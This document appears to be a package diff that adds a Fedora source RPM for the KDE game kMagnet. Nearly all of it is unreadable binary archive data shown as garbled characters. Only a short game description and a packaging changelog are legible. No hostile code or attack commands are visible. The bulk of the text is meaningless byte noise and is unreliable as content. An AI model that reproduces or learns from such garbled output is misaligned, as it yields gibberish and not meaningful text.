2?M;P?7????_m??8[lPpVG??UY?o??2?????C??[?5?gU???
?1???*??S??V??*w??	.?ypQ??H??k?K??
?_??p??[??????nD???????"K%??/??
	?8????_A???{?6??U?r=??i@??????s????}Y_J????3?p???1??_?IoL

B???Z??[N??)??=?o!??????{???A??2??!z??H???M??T!jB?d??"??I???0`?p?;?k?`M??? ?u?x<0??w???p??Id?jHKE??(?Y`???? ????????hE?x?????-?A???<????3R?W?5JRX?
?????CZ(?`??p??9??f?????k?4?F???L??b?7?2??]?????6 Sva!??jv??5$??????k?h???????]??d???S%?m68b?|S????????hO???d~
??h
4?????p????V+??H??V????*f???m?\*e??O:?????\?>A@??g8?N???????n???B??W3??~??]Kuf?,	2 ??(?>F(?pcu?^s??Zk??????M?????z?=?^??#??!??	?L?2?9????N?f!v<?C0p
?0??k????E]A0H???P&?t???r???z?DP?F&??)SI???l??$?????"UhBYa??KP-?r?047??D?~??^o???k???ODG???5x?Jih'e?a?|t)?
?Y???-X_??????????O??p??

???ch
??$?s?%!`?ciy+?^D??|?
???(
??O?q?E5X<???]?O?]n?????????U???@s???A?2n??~?oJ?????tid?,??x?"??

??#?_???~????A????2???!"x8 ?t?G???????8e9im??#????x???_??}??????Xs??@??[?M?@?W????h????_'???Zt?????z8?????????DD<?9??>???@????^j`?7????
??r???B-??k
??N?1??????H??o?/PC??_?(?2!zs??=?W??ZZ?P???z?R?,X?=f?#?/?/Z?FpW??????z?~?'?????????#??+_`?CH	$6#???@B????>??r??5??
r??Q?+)??+?????Q?????3???&?5????u~?Ac?q??=jo???????^????SX?g-?P??D???-?g?b??RS?_?n??nc"/????"?5b(r?????W?ag?s??_?4?q?Sd??W}?u?J9R????6:?*?????"?F<??kg????,(??E?Q,,?|??\?l?????^????0?,U 1?O?lQ?p?V???Nd?Nt???t??&?uL?5<L???????)???>??S?#???r?=?e]^pj?????-?O??d?I?????Q?8??\8??????	cj??X9????|J$??N??lK?lc?+?fTW?~
+?????P?v?c?vR?X?'#???/??1ch??6?X??79%?? ?7????T??jgx
???q ?if.?? ???N$??h??Ylw??*Z&???+hdI ??2)h??*r?)?????9???????G?j???@4?

?2
?Oqc??c:\??3?+???f?a8?:?EV????v???1`@,?Q??d?HWF???E????3w?`~7?
i5dCl?`?}#??%?Y8hh:n&N?????9?J>?+?~11B\wY???CM?9???n?t???R???,?
?
?G+?,?E??z??????q??g?O?w?yU
@???G?X????KR?=??????
Z?o????7	m{[K??.???VF??c?35?w#?]?gX????????OO??????p? 
3???B($????Xr"I??i?Z?@?4n9?T/??{??*1??>S??m?;????????g?OL0??s??????`
???'Z????l<???c3o???9Aw:m8
H????1???????><???5???d??????J????d???W??????ZN?9?"a???c?_?????;?#??&?)K;??5)J???Z?4/?Y;/Vz??o?V???$X???????Lg"?x ?U?v[?bu?GC????!?j?[???X?,%?~?Ra?H??N????
?2w?c,???T?It??v?3????.?t???Ie?n}a?s	??N9?????N?)B?R}???a?,KBv5??6f???P:????z?????a?C?P???*
?????rP??F"????????p?f?eU&<??????Vb?
H???.?&6W????E<??v???P??98@?K?Rc???????#???z+??????}0?z?????h?z???A???t?z????je?Z??K<0???=??????mu??K?
0??????????????????????????{?c?s????6v	??/?F???	
??>?4??????]&N??????*?e?????naC?5???&g3?DW?b?al.'0%??<??????.?g?
y#??x?'x0F??4T??99?C??z??v?i?}
/??-??O???1/????+M?J??w?'?O3?????t;
!????q???mU???3???????s?"N??*
??Zo^\???O???3??k?
U?
|?/l/uq???~
/*l?ncODj	9s???????????mn!I?~??M5,???F?+k]?u?????I???2'_a*k??6??V??R?z??h?,???Y2?)??,??f??7]?????Lg
????R?+;?g?C??+?:b(???8?H??UhTj????{???~m??>?m?8?????S??H?;X#???C?2o?+??]N?D???s???V$???U????8???;?"{?C????????q???abc9??`k?s?=H?B??w???????*??????"??B`(@7.%A??1?m????Q+?:?q?????????+s?.???6=E??a4RP:?~e
?#?????????lc?,????????O2???6?T?}??????9???V???`?5???????8???X???q+?I?????B??&?S????????
=?R?R??????R?6?@??|?1 at M?H?p????M??Lg|>d???;?9??????it??)#????????p`k(@??????v?;??
?W?8?S?2?>??JH
?PO?2Bw???????aE ??????*?n?%*09?8?Q?D?LP??Y??`
P?j(`i????

}?=4?Cek??E?M?t;!;?S???s??????S?^?4?X??sobC?1?>/??????|*^-???%?Mr.d????2
?iD?La??]~*??????P??L!T??h??????q-M??????O?F7Z=?`???Zn$??	??$,9}t~??]????bFp?q??$?]?a:i_??Q??g?C?Y??5c?L?"??Y{?y??\?T,?A?1K????}y2x
it?s?????Rj?De??]??E??01?o??Ob?}??`!???I	??O?a???2ZY?$?g??v??k:?S?=??yK.?5P???o?Uc???r?}D/5?*e?:???@???na?kK?2g?-?tO?=!??QU?c5?
??f?????t???Nw?V??h?????`?g ???SIu?|?\QC??k????F%??W?????,?B1.?R???????{?????z??!?
????#??cz?]0+NF?n?R?<?????Ql????MTI?q?2X?^?[?C???z?y??i??4?????:~}???
??O??????1?I???Q2y?"???N0?6?e0?b?Fz???H?Q???}?;?.?\l)??a??N?t?S????oI;?)>5??Z??~8
??*{???????E?~??7?x? Vu*?????7b???????&????O??3???]iKS0z?????P{W???W?/???s?k8?{b??w&?a?????N[????NY?????x?6Ij????d??
??L#?F	?[?R???8?%#8r`8??L?G????j,~#:?????3????*???0???2~??????\???Z2s??Q?v?x???v?d;??<???K$???????a?An????#???#?[	?g???t?y?l4Yz??);S??????4?8z?+!z?az[U&z???Y_???????9???	?T??~:??k???C0?pQ?????@??(???L?V?u???c????????{!??t?9Jx??[?(?z7?~b????	?k?I?l?xO?!???`n?j????t?,??=??s~????????T?I>x_%v???3}??;??????3?"7??i?????N???=[?C
B3b?'?T????_?NCeB???/???J^
6?YFr?U?%?
?P?W'?????
8??5???QrWh
????j??B????q?5J?????t??]jn?Nk'BL????w??v??{??k?h??\???&c??5{`[??7??Sf?CI&*???d
M?4z??,??r??O?w8?@&
???D?h???S???;??{??5??S/|?Gzw?9???s?f?	???k??
>}|?;??wQ??????L?jd9u???Mt}??y7??y;?$? ?F???cJ?????a????
H?`????[n\.??}????????sB?e?/???&???O??oK??g?m;?8I ???f??0??{??????CS???).w???Xg
?????c??????),?P|,R/Sa??K
???i??????%????????E<??|????
'+?SA???h?|?SD?????QC?k???p?ua:?0?q ????#???2?????h6???_?????????d??&?w?!k^???*?e?N
Dx{?f>?%??nK?I9|?K??8o?]??????L??\Ii??/?? ?P????*????q?HZ?(qr?9By?
+?Y?-
??????(????uv
?p?????)?h?<V?w?QOoJy???????.?&w
??H?7??q2?a
Ar{c?U?
E?4???Hl???????W4K?<c?h?sjf???bn 
Lah]????h?XB?
????[??????t?.H?x?",?\0L?fn?-???n????7?P?
???D{h8_?]3
?d???5
4D?"?mK?&%g^??
X0?M]???iWhV????????Z ?>??]?o???(k'WK?v???fgF-tVqe??????z???z?qB??????9A?1w?`?='????`/?/??	?1M??????J????e????~?~
?:~H-\?-???10Y/?L??x?E?I?K?a?J????w?M?94H?[????????~f????i??????N~???&?7???/f5z????I??#S?6g??Pl/!oMt2??Q?g?????X??P?Y?Gr ? 9??U?h'??? ?}I??+??!?
%?1"s????w??? ?z?5?[??3V????-?88Y?d?????6?:?&P?L??UV	??t?e?49??3kIy?2M?.?X?+?(?p??1????V?Pf?+????J?X?l??1?y?
??W+?))x????????q???'??^??{???	???#Z!?P?mC??8K??7???&??EP?w???]????%???5???	???)???????(WX?&?	???]? z?x?b??n?7???4?s??????
?4??XQ?j??????g?5x\?/??O|??lb???_??!?{#???IT?V3????n3li?>Q????#7?????R?5?g??????????	TU???9??&.V?D1?e??@?????????D,?????+??(???:o???l79k?hq?YH2???X\^??+:??P$?>?PK??I???o%q?d?5?|K<?H?dQ?Jp`??4??????v??x??p??&?c??s%
V????wE??{Q?0???"???
_pzqQ$Q<??,??K1?xg??C??^?|@??y?#?an?~i?G??O?
o?O??'?? !!?z??M??w?el=D	/?????&?y__3???6????~\???????????????&???:9???=?J?,??o?yT??????T???e
VS? exEj?d??5W#?u??????	D?D?????b|nj?????????j2???%|??k?v???????I?"????zh?[E????64?lB?`v`????$y?Y???'?????y?_?+Tm?y????v!?u??O??p??EF??	???:?&???Zw0??x;m????X?n?:XtN?????????E???*??????9?)?a????~??S4+????????????$?~O???
U<p3	????j2c?o?\??
??z????]S1bR?!E?&?T%
qs??@??@?M???:????	??M?j??/?^b???d???6?m??s??8f??%??]?????5??n??o???(????2?H,?%f?????)z??\???^???z6??ue"??E?RE0?
?a?ts?Db?R??
?{u??i????h???!??`i?????\???a9??~?9??M???ENB?~?????~nz?,????{?X???
???T??Y?X?????y?LP(C
?N?X|rE?Pf??C???<Pd?*#???&#?u4B?c????????2D???*?yK|??.????LN??i9p??t????wU????0/?R?E?
??d)?Z-????G?rT????(?%?f??h>??.?|.???g?B??????_?????R!3G???
?'??B3.f?+????.????*???i???????1*???rA???????-??0??	?8???_???}?????n????'?`?????7(??'-??????,????\?
?)v??????eU+w-????'??	?	?=?8??????A???{?PS<l%y?W?y??s#{????(Tvu?E?43O?U?t??r?S??????????.{????J???#'?q?sWn|?
d??????v?/??????MEp7??u1?????[?)?}F?8??u??;Y?_?V?)?3d?^?J?m?/??X?{?E?<?????x
?O?cT,??A??
N????????B?????$[?
1??H=?CAK
??>?M???
?rD/y?k??0???;??;9S|3xX6Gf????ov?9?y??Q_?8??a?v?u?U??
??) ?????|??Gf????Y?l,Z?\???6????~??~&??y]?0???z????????ix?p>
B??B?J????g\?QE?%%?#|??_????Q[?dC??zNc?P?$1???a^??Z?<F?H???~%(?+??(2?????'?gb?`
?C??`??v?k:???P????1??2?O?)?5??3h?'???????7?M??????pa`pJ?Mg?V???)rew?????7??u?9?=?A]??
??E????+l*??9
???ii?Y???.RM6qD??_.?{?a ?C}?????'?_?3?["P7??r???[?????5???4??~?h{??b??S?
?(???=-{???{G?[7?+A??4?J?Z????4"?W?,H??????tH?QI?"????7???"?l?&?=?Ls?d??????m????F?[j2?E?]?|:???W??v`?<j?ak?I7???"???????????s???p?91?z%{?????6\?I
|?D?????A?H?????l????k?W8??-?PQ7???OH
??Uf?JYE??u^7:?RHM?v??p8>?I???WF?@?jY???&&?zq
1$?UL??Sl
?>^fc?D<0:??(^6RF???	?!?;?????Sbg[N?|N?k[?}???Mu??
???qc^????????-?`?<??????pC? %hOx?_'?????.??T<??z}???{???;@'???????d	G?????\??A?~??]??;?}V,<??z?m)aS?i??+,????i?A?H??eO??M???#?T-?Y?+?j?Dz??????rN?tg+???????2?V|^?2<??0NU??tp???XWk???4????????{]?-l[?%X?????jh????j??h???
??&:?P?f??#?
?i/8?QT???7RN?Y??Q_?????i
J??
???S?
V???:?T????o?j#E&M'?????RXO7?yz??:?u,?Pn??????9i???h??@?????????????w??????	?!???w??P'nis?2?W?{j?H??_???@P?r_?.?*zs??????????t???a???+0??N?y???I??v??p?K?9?
??M?????k???[!??0?e??????&1??????Q8E!??<R?????u?h??6?h?B0/?la??=F?0???6???1VX???????Z???????f??????F?????&D???????)??[?/+\?????'????Q?G??x????/:a???
i?????Wzt[P
???X?<?P??b?M??n??:??
+"???<(??I???Q<7?Q9???@??ga	t|=mx?????o?O??H/?4Xo????l??T??F?bsH?'?"7???A??,O????6P???'<??_;=??A5????o??7m?M???l?g?)+??p??e??o?T????-?eI???	??6??E:??b_??g#???
?R??????K9?{B?[?M?Zd?}?\?:??????'?a??n?? e???????$??E,1????c?\?'?<?Z"?{-^???aZ)?4

???S?t??4??
E???~?-??p-??'?t)#Kw?Wh?ae??%|???????
?????6z??,K'Op-?G=q?"=ld?J(?}/???6????5"HL????????x?Me?\?b?I??Kd?I?BZ?????o2?N???????q"?l?x??y????\
DOqv??????g??>".?;5???EaI%??.??A????g?%W v?l?a?bP?,??|,?v	??????O???]]???R??2????U)#??;(}?\??q?????@??4????`%?fY???????1"gr9???<)????^?c????
??@Q??L???{???
???? ?h?SK??Y-?@3`???a=??1??b???5?"%??_??e???*???)??z?????Pvj?>????h???vj??8M$?????Nq?`E-???????T????p8????\????6K?N.?i*????g?&y;?jG?????
f??y????????+?? K?:h>!?Y76?|h???h????*R?C?!?????????Yp?yj'??m???;?G2?????V&D'?$?FQjb?>?%?p?TR?\?e????!4???Y?I??;K??	?
?~???&?????????
ab???o?D???o?????
$E&?UR????X???H???P~??H%??|M?B?M???.?y?D??l?D?E?N??t??r??????#?G?1???7?#)??z?>?U??B'E??'[?p?X???'???	xH?@?`@?? ???????P)v????.I?#_
m??o???o????????DHy?Cr?	Z3h???u?k?;[B?&Y??~P?1??]G???.???
?ee?\????[`?I?E
?????;E?J?s????????y7?'g?V2?veS?^4?=??v?;???kn?02)??Y\RO??E??=????M{Eb-???i??v/`?)y???J???YF???`{??5???????	?\??/??????????qW,|???&??%,?????TN8L????{?*%????3?
{??#O?=E?Bh?~???t??f.v?k?????}K}?? P??;?>???}W7o
[?b?V??Of?????VL?_??-?=???4???_?V??_?`???XJ???#1??8z?d#?hI??q??}~^?w:p???T??;?????~S???M?O??(?e_mG?
U3TL???%??????%? &?h?/9!???8?p??p(K???e?3+
?i??e??R?RG??vB%n???|?}
?\
?T????Y|~????e?L{w?be????-????'H??DWSB;?zn???{R??xZes4?P?U
?0?B?/??2
?f-Oi????q0;T?&???|?x?
?^??cU????.???:t?=????M?L????|?1?
?
c?	
?{??)??*??S:A??y??m????TGY?^??5??"ma??q?w?p?4???i?]2??|????I??P?0#I??????z??Uu??
-?0?+ at 8???=????yY????*???Oe(?H?.???a4U??`?h??P'C:???5??\TC?G8????_Y?Y
????j?zl?
??/???
d@????p?????[;3?v??I?.]/???)?{cS*h~?_?AN;]???????s??f?g???%P???L???a?`mqw}`?f)?
2tRr???]??W?z?)??H7?????s??????
@??R?g??"?5!?
??8B???}?????1?	????]Da0????]J0?I?E?C?V??[l%p;B??)?N?]%?7CrR!?????N???M??w?z?U????-??f9????????~z\2?RdA???????z?m???-.??????f~? z%?=
?O/?H?p|??????w*1?$?]??I?UTSVI?c}????2$(t?utT?Eh????*'?xU3r??`^`??A?{??1?Y??Z?#?????
-?u?????!?kMg?xs??t?~?,???a??? ???1?????'??i"?R~?C6?b???????i??@?o^>?j????h??;???PU???<d??????!,W??2???(??c?4d?yKr}??u?????
u?b=H.?#?N^8n??????m?5ps?F<?x??1??@A?(???F???+???????Y?%?????:??{R???7m???|???S?/Kj?`????~G??}??{.??QV?c%????+[??@??????????P=????m3|?????\?)z_7??z

*q?y?Hh??4?U?=?]6?D?gP???d^@?FS!|??3?~vU???1??!9S?QFb9*	m?T??J-T#??O???????@?????/} ?TzzD,6?RO?????CO????K&z?PHU???????P??5^?E6W???nm??8??Z^?k?}?#?}????%??.,??k>??l???<t?!??5??z???l????9i??H<,ZG??l,???????_????nQ.e???5?Zny???&????=;p?\?"Sc>_?t.Z???
#o;?4q????????G?(???'?l???_lm?9???Fl?p??}????7?[???Q?[8'?swyE)-YJ?U??2?D???????v???`CB??????s?K?0??E??vhECK?r?????D?s3?&{??.?K???/??iY????8???????????????Q???????????*QF??O??????????n?&????1G????D??????????W?v??y???S'?3?"Y??n3??f ?(?\?
???.?Gt
Y???L???
m??????
??f?B9n? ?/??0?????<??q^?9??}j|??J????Z?^?kD*'?"????0?DG?G?>]Q>?F?????9?aHl?@????Fa?Ce??{T??"??U?-q?
%*?:O`w!
eQh??9dTUe?b\k?K?.?Y.=?=e??w?N??Na??HU??8???????	f??-??L(?V!:???????
?Ns}'??G???????A9th??? pnb}??K??D????|??K?(N?e?Z<??%G????N??v?*7ZQ??]????^?a?(?M?|z~?"?Q?[?h???H?-=??J??!1?C32}???G??
7???&L??
???????P??????<9)??j???
?nh%?cT?.?=??a???PWh???R%%<
??p????.?N9??@????u?RX???u?????uz?X???z???'m??E?10K?!)?s,??6?:(??jz ?&?VE? hRj3)A?m~?QAG?????)??6 j0??h9????w?5????q%'{???gk??????"??~j?v?,?x2????s???+?3*:8_dy?W
TB8??U???>s?C,????ro?????????C??m???????5?L?m???*n??O??|?v~??u?m?1	???k??e???]	??????b??3??
5??j??_?????c???l?t???li?1!o?0*Z?R?64??M?m??Gc?1??S?

?????
????{%cg%UV'?????j??lC?o%??A&W3^?;b7vi? 4?*???,$?O?????????
??I???????V)?^?/?$?LL}??P\??&D?
?
r??????mn(??66Y???M,????P?y??????_mht#42?A&?LSs???TL?5??pbX??"?-?F?q&?4o'????_u?^@?Y?Qe???????????&^?Q/??[rl????'C????Z~???YGW}OUL?kz?????M??s4f??}o_??o???Lt?*J??@c8?;3?9????#*?z?l6??er{?????71A!b?]T?-	????U?
???
??LL???/s?a???FH??$z????#M???A-^?hsA?]&??Z?,D>>[??@3:G?\,????C? ?~?r)%o?^sO?]XZ?O???5?_????<r4??H?IO?rq? ?H?????????p:????? ??h???_??SVf?E8???
?H???~#GZ?8????W??3????+???H??A?]????w??8?.??R?@???|??x?j%%k?s#?mD?A?[?3y?????s+;	????|-9?a?f
???<????????\??d???E}?C??#Qh???I????
?J
?R9???E?D?s????,????.U?as[??
????3???UT$+????#?0????R{s?	??S??C?,?????$?;????(????P^f,???@;???3?>a?7?????????;D??o?O?G<?PK[_????~}?????n,P???ys???p^??C??????? 2?.;??&?d?s?-|T<?EV????:???d^7?????>w??Z??K??????N(^??v?Y???!???Y?)?2?`E>hcq?KL????)?M?7?s\$S??;?,J	8???=??B*p{??@"J??????O????\j?1????8??im?YV??K6?cf?DVT???????gg3%?3??CX?????bBj#??e1zla??YVY6??^?M???O	|E????g5??j'??l/?;???F??-&?
??????y?Nl2BR?????j?V??z???(xvY?_??m??U?`???.\??&???ss???????P9???????????#?JX??Rp$??9?*O??????T-???;?
)~?%~?]F???R.?q<A???Y?????(?>?)???????ep?=?iG?u?Vw???3S?I??"?%p?????~{}?63??????????3bc?#{????K?'M*?o??/????c2??P3????8????????????M????0^?$?	}?3Y???3?c????2???????E?????^D?????<????*????A??????HvM??CA????sX???C??@??????g??}?d?g
&???vv&g??-Q?;n?9???kxE4u???/
????(???E?????S)???O?6??????7?u???'?a?<?
??C$?>	9mBLY???kLz?????e^Z???>????SF????_???z?X?D?/?,(??=:?X?S?3?y????uX??zn
"
??$G?>iuR??-J??Y?r??0?i?b?????0????
?<F?Ez??t?7?L 2W?8`????*=?P?0??-??8 p3/%?v?W?}?oswF????7@???I;6?i#7???<?
?iE?,?w??b?W?m{?d????Z?????_C?W???????8YMD?V"?26???????7???ys?
J???
????]?w'u?w*]P?r?0V$9X???????}5/??I&?#?z?m??an????7W?Q????k5??;???
	`?Y??$]?????,??h????x???On>????l?Nj??0??bt????R?????R?L?R???=?%????I{
+?o=?'C???????
;O ????s?&??"b?*Af
'????f?(?}??$SJ??Z?^L'??\M'?Q???+?????;?*?R??????k9??[xqh?n??o??m??9??????
?Y?y??????F!?`??C????i??}???b
3}???&????5?????`
sL??7?]
???&f5$?g????;?9????I??6?????x-*??@?w?bt??+
??,25??;?K{?F??]?Be]?f?w.??K^??.??m?OQ4Xtd????v90???
$?R????Qv<?e?z??~,?fi?X?V?);?<Q??Hv??!???p?9#??U?}???R?(?????6?^,R/G????????3n/;???p???'k-D???B???0?y?14mN??UiT?????@???]??h[?@32
????x?fg??}???|????B1??-?|	Ck??V?z
`??HV	g?91i?????rt??????<????)?(???
A??y??.m?{??@???U6??qa?7A???O?|?vs,y?/???????#t??8?????????%U??d+??u?7?
NX????????c$???
???Z??????????c??ai)UN????(??nG?R?w?H???E?0?6??dC???_??Yd?0D?A%?VL?+F?b???0?1??;r?? U?wDq(Q?q;?r????
]
?3j????
?H?9???????$E??(?;????j??O?R0S??=?w\-??(?$,F??s?	V??P?;?qEL?Y|??????Dqhx+9???H??c??
??p???Km0?????Y???5??*_
2??????????????[?=?=_+e?\:????i??
???>?#
????%d?MlcLh?-??e??????????QZ???&	????W? %~X??6!,????&?lr?a]??%?v????????????X?[+?z???^0?"???1@????
{?k?Gk?t??!??U???\j????^
??+???+&I?*??????e???_=]????9Gh??Je #a??? {?Id??t&??????S^??,kt?GP~c.??+4??9????.e?????u????hK?3???C???T?
r?A?d????W?? ??05???J?E??j$?3??T???q?y??9?{???!K9?za5#A??????M}?P?6?!????CAw?1N*l???nWz?;?????{d?
???;?@e???=??Hbs????{
?wS??D?"[?eL?j?k?7?d2????f]???Y?}?wz?%yx???????ty?R"??s?*?????7M@?>\???2???$?5????j???8??9%??Y????{?RH'?[M?=&2??
?x?;*??:0I???#=3?? ??sF???7?)?O???
??~6??**?p<s??p?!N???{N?	Lp?
?????????O\Q?????????A;?d???G?#?Hb<?x??+.?????.?Fu?2??????l5???_??d?.~??F?K?PHz??l(?6? ????~?w7:???????ZL?:????B	??Q????Bt?!??4??%!??~????.???g
????EW'&???($u????????:??S??3???W?Uf?2??/??z???
???.????k2??????;???&?r&?~r??.R?,???/?vz?V?? ?rG [??",???`!B???R????
:?vyPt????P????? ?o?V?w	Ts???`SI???????}?????`=??"??b`*????uj?7??S_F!l?V
@??D\*????O&?!*c?D?????????Co????????H????\??? ???Q4\????}8.
??&&J&?P???*%????Gf?ob??h&?4R1????J\r?CS(EZ1*??:?E????????{8D??FYp??@oW??????????=N?????c?Ow"?????M??	?G??J?????????fd????[?@????V????^i#f>,[Jh2U???}>??{?????A9??9D?j_????]??!r??pc?;?"OJ???hdF?R"??h?????o?/?Q?=?V"R!??v?E?c?d?W?]???=???'A?\??p??P3&?
r???C:?Q?+#c{??xJ?N?????%?0?7N
????T???\???C??6M????.et???`_c??]???U????Q't?h1#xl]E?n?;???t?zY9?d???s??m?>Sx?p
?$???3,?`X`z?>?SXc??x* +a????9?Xjq?????ii?????0?M??Cb??$?~??''??-??#C???$FC?WK?_@??=???E?S?r*H?46)3JTE?<	?$???9?g?,????????
B??p???t?~=?F???S??9?;?$N?(c??.???w???:??e?o.??????????
??-g??`?0??"5?Pm??4?\D2?<:????F?u?Re:v????????????v-0x?]????|???kz?;????m?rm????tMo???O?O"
7$x????????[???I?[?5F?? ?)Y?z?D]?=Oon??C-?b?H?\?	TH??ax????1?.L??0?J????3??mO]{KRt	??????t???.?]??oT?d?^?	 =????,5?m2?[
m&T?L??sa?;??#?j7Yu?HzGF?

--- NEW FILE kmagnet-0.03-5.fc13.src.rpm ---
????




can move the ball up down left or right and it stops when it finds an
obstacle or arrives to a hole. To win the ball has to arrive to a hole.
}??????


kdegames-devel
- Removed unnecessary scriptlets
- Changed %files to own the directories
- Upstream changed name to kMagnet
- Added a patch to fix .desktop file
- Changed one %files entry to use %{_kde4_appsdir}
- Removed VERBOSE=1 from Makefile
- Sane use of macros in files section
- Added documentation
- Added icon code snippets
- Added desktop-file-validate
?;p?K?n?^???
?J??j?@~?y?????N??U???CWU?????H?;u?P	???}??k??j???6C???6&$Ja?S??uT?2E"??????J?Z?t??(j?J?$H
H(?
P	
??U??
*B??F
???Jj1?fV	?*?$"W%I%??TU?T??UQ?XJ?J)?&??+??,??, 

???D!@??W?,K???P^W?L??b?2??Me??26A3?????%yV????`[?*???x?b/??S|+?+?y???,y?
1??,?W#E?,???@'?,#?y*??Q?WfY$[?xYY??,/?Xy?G?UX?!??Y?W
^?b??\`????
??l???+^?+,
??
??-w??&??W?gA?N?9?~???????6?h????L?y??fD*	6K??????"@4?y??@???_??dH??D??F?5?>?z???-U??AIx;I at D?E?z?TV??QT4I???????.??`N?9?)??(??
QD[??1???^^H???????5?[Jl|y??Q!m0????p?`?$c?k???Ef?a6%???[q?2????9{o?~?=Sq?????T????;{??w?,$????%?????!???1???.???$x???,
P?????5?
????wrZx5?????5???????kj?????`?
?G%??uu?@c???3??)8{?V?.j?}OS?sw%
O?????n????>?W4zAZ??a
????I3"????d ?1_????8??b
No?
R0_WY?????A4?
??&????d?Vl_6????~2?H?0???HB?????QX?R?????0e??Sx?D?????#oD ?U??h???|*9R+5???????	??`o?????0}??4?????W<B ????q	MQ?#???M?N??[?;?? ?????[.qi?UgW??w?-??7???????.@??}	?(v??
?????g	?!??xK|&??z?B???!???w5????Y_%????????m6????.?'9?I7??X?I?B?????v?r%
L??3?????0???????L{p???'??L?=
?????L?tW??	&?c?S>09|M??~e\WA??S?{???

??*?<?p?#??F?h?W??2)??&???????????/???,3????S$?????D?i???I!?XC????U?^?9z???0;?J?A?<??????{???l?{?Y????"????`?A?C(?"?'f	?w?)?A??eS???7;?wMK?g???D?L;:????????~?b`&??W[??H:<?2m????P?s???ubN?%}??3?ts?ky?
t??'?Q?p6??B?|/Rr?71?? ?c|8?l?RJ*0????=?????????i~???P?????b??)?2???[??*?|`?Z+?kQ1?y?F?p'??	w????n?^?????Iw??w:??$:<y???5w???K{?UD??/:??'-(?^l at A?L)T???^.???nR??*&E????QD???Q= ??o??????S?F?{V??}'??a%?$???	Z?
?<?????u?
D;<??+???Q?E.?l?F)?????fD??	 ?j@??
L?9??&T?????*??/?2???K?}	?(,x?s/??????>?z??TcPh|??7???]{& ??	???'<?4???j??Z???D?S>i?9?mq?>???4???x??h??A??O:x?lvl~???+?*??s???o?T????7? h?-g??????????o?Yf???c?w^?g}???'?g?e????????`v?? ?????Q?#x??V]??f??R<???o?p?G?S/df?)DC9???

??Rn?H?h|H??????/?????)'?!_????~????'???^<??_??^??C???p-?|?s?M????000???~???????J???I?yc?????j@?5*?(
?3P?g?yl[?????	????u.??????o}???\?VW??i??????y?????wJ?m???>g??????t?s
tj*4G?X??k?5?WUi?_??+"vo?E?/???20dDK|???n??MZ@?^???=N???K??/?o?s?J??m?e??
?>???????tq?
?9^zo^?s?n????????{?I???}??V???&??_?&??V:+}???'??????"??
HX??9?\?\?????&???g.?E???o????K!??kH5???c??U???1??sM?
???X??)??`z??)????m?_	??JU?Xxj?????N?K?Yt?T17&??=?}??Y?Tz$?y???Y?#????=M????q??T????c??????
m???~6B??
??b?9?l?{d??}?/
Tm}
?n?@>&F????-??"Q#'??5b???u5???????Kldl/?
V?'??^?J|y?5?????*_?&??U?'?????[??'g?z???????,C?%L?K???,??????m????????Un?1???????0?[oa?????y??Z?/|?J??s?????>!?*????^?

!p?g??3o??K{N?g?>N???$?;C?'>2?IVn?>?/?2?~%???=7y??!?ll????????????????N4?N?????q?
]????ZP]????-???D?<???w?T
?g?????A??P?
?????6??#??fgSH??AC???n?'%?????kEW?a?9??nnx&?
??d0v6?^Z?C?iP????:?k?ZS%???YnXh???????4Um+?Y?#[7!J@???aL?K???????G.?????????R?	????????ec)W?? ;&?de#??????mgX
=?V?H?:l??=y?2??Y?~'#
??????m\???/?"????	??l?45bc11?2?c ????e?@?1?I5N
?!_?\%'	???P??~?1?.`?S?=6t??$?4z???

?E?fI????6A??BK?????????D?$F<Z?X?o?7\????#????X??g?it6{G;
T?~O
???r?p3??NNH
[???2
t!X~H?7_???^??riUT?Gt??Mb?j`???.??veF?u
C<?c??j??3?n??&?x??">???\?| `['x??}?f??"E?N?????;????????nI+??i?:?}????;	??)???K7???~!??EH?@?>????Y?}??u{\r??=?A?v?.?T?8?m$?????/???W??V??????????????l?3??????????&?@?pw???[?Z???x?HV????r`?[2?"????9??'FL?Zp?k<??l??M???u?#?j??\?y?
????
?!???H???8???????%?5/7????????I???5??%???'?????:'???e9&k at y?????L?????y???.;????>??&py?'?%9om2????$???|?r?V??l??{????? 	l??l??v?X??L?Yi=???1???k??x?)5Q?|k?m?<?i?G?????s?Y.?v??~L?f??
dq??Y??y???pNb?a???86
"?~??+??X????????W???]R???'????Qi?;
\?lrZ??k
uEr:???p??x?S??d?Ey???N5???4???|?BXtM(Hy?P??`???1hYQ?)T_A?w??????;????"????B?Q?OYv(?C???6z?%??
?????0`OS???g{0??bv?A??????C?^z)?o"
????yC/)O?g W??4P??7??Np??8?
H????OR?L?/M??!?qoj*????UR?m?R?5????h??Sf09?c?!????7???SxmRP?(?P????v??????[??-??f3?{??????Z??g??xH?? ~\-Qq?g
?H?
???wh?|?4
????? ~??t?$l????q?F??4+U??^?9??5??_???Y9?Q??n??@?C8>(??????????,???j?|?
j	GT_?r>8?????o???%G
R?
???
f?????]???

?7?2????A!?F?;!???_?G????;?????o??V_??%??o?Zc????zaC??Q?Mo?J?L?X??A??fD???}?,????c?&g????<?
.A?.x???I
?~sf????????????/????J??&ww?
??	~?s?Bv???X???v?]??!???>VN
??	?=I??:??(?h?je???)t?)?`?d?k????????Hm?sJZ???p?V}??W#?;???????G%???dv?3??
????o?g??q~?C?7??G??2??'?????????~?}?J?0?g}C$*????{?Six?G/???0C???)u???g??c% ?Z?D
??`hbS??B8p????p?????B??L?l^-I?,?,??sf77?b9??"?*?5???????X?|MJ?H~?o|??>??g??????k"K????????Flj?6????HM????7?
H<tu+O?X??????5?
o?>#?F??|
Q?
???i?h~??????9?b?[?????	?
?PR??}??,?????QQ?
??	KiW?x????5??(k?Qw??
?fS?H?Q?????p?J-q<???	???????(??j?+?3??.???*j??&1U?vF??>?}?z7`+z??cWR????????j?r#??
_?g?upv??1xZ?P??T>%??q???????????????e?????p?
,A???2Q??i?w??(???S?i??? ???w??4X?<?Amg?/??T?z?B???????g??7J`????[?vT"?+??J?j?Rnx?zs?RH??8???e=??(j?=B??~c?+?ZU???h?4?>?v???t???z?0?Vu???]{!p?#?N$?&?RL? j???M?I??MPt?r??a?????d?LLG[???p?f??6N??b???F'!??c?d???h???????;"??VPq,
3??U}+?U?T>gT?P ???T*?T???%???
???u??cJ2c!???
????3??#'|
??W???i?~??d?Y???0?<?bE?2d??G?p???^,*a?? ?!Z??U?"?,?qca]l?U??{?xx??#??\?>??c?z???m\s?? ?????k??h????S?????
?p_????????n????n?=?
+?L???U?.???M_???#???g at 2?L?@j42???K???"?I?'??b?M?@C;???f????75}??K??[D?=???
???
D?D??RJ??{?q?E?jj?O??F?Te'^W?;M
